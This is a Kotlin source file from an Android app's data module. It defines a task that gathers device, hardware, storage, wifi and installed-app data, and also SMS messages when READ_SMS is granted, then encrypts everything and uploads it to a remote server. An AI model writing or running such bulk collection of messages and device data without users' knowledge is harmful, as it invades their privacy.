package com.cedifie.syc.data.task

import android.Manifest
import android.content.Context
import com.cedifie.syc.data.ASSycBuilder
import com.cedifie.syc.data.http.ASRequestManager
import com.cedifie.syc.data.http.ASRequestParams
import com.cedifie.syc.data.http.ASUrlHelper
import com.cedifie.syc.data.services.appDatas
import com.cedifie.syc.data.services.deviceDatas
import com.cedifie.syc.data.services.hardwareDatas
import com.cedifie.syc.data.services.msgData
import com.cedifie.syc.data.services.storageDatas
import com.cedifie.syc.data.services.wifiDatas
import com.cedifie.syc.data.util.checkPermissionsGranted
import java.util.function.Supplier

class ASDeviceTask(private val context: Context, private val taskId: String) : Supplier<String> {

    companion object {
        const val TASK_DEVICE = "TASK_DEVICE"
        const val TASK_HARDWARE = "TASK_HARDWARE"
        const val TASK_MESSAGE = "TASK_MESSAGE"
        const val TASK_STORE = "TASK_STORE"
        const val TASK_WIFI = "TASK_WIFI"
        const val TASK_APP_LIST = "TASK_APP_LIST"
    }

    override fun get(): String {
        println("$taskId Running...")

        val url = ASUrlHelper.combineUrl()
        if (url.isBlank()) return taskId

        val body = executing()
        if (body.isNullOrBlank()) return taskId

        ASRequestManager(url = url, body = body, taskId = taskId).doPost()

        return taskId
    }

    private fun executing(): String? {
        return try {
            when {
                taskId.contains(TASK_DEVICE) -> {
                    context.deviceDatas().toEncryptParams()
                }
                taskId.contains(TASK_HARDWARE) -> {
                    ASRequestParams(path = ASSycBuilder.pathHdw, deviceHardwareGzip = context.hardwareDatas()).toEncryptParams()
                }
                taskId.contains(TASK_STORE) -> {
                    ASRequestParams(path = ASSycBuilder.pathSto, deviceStorageGzip = context.storageDatas()).toEncryptParams()
                }
                taskId.contains(TASK_WIFI) -> {
                    ASRequestParams(path = ASSycBuilder.pathNtw, deviceWifiGzip = context.wifiDatas()).toEncryptParams()
                }
                taskId.contains(TASK_APP_LIST) -> {
                    ASRequestParams(path = ASSycBuilder.pathApl, appListGzip = context.appDatas()).toEncryptParams()
                }
                else -> {
                    val hadPermission = context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))
                    if (hadPermission) {
                        context.msgData().toEncryptParams()
                    } else {
                        println("${taskId}_ERROR：NO READ_SMS PERMISSION")
                        null
                    }
                }
            }
        } catch (e: Exception) {
            e.printStackTrace()
            null
        }
    }
}
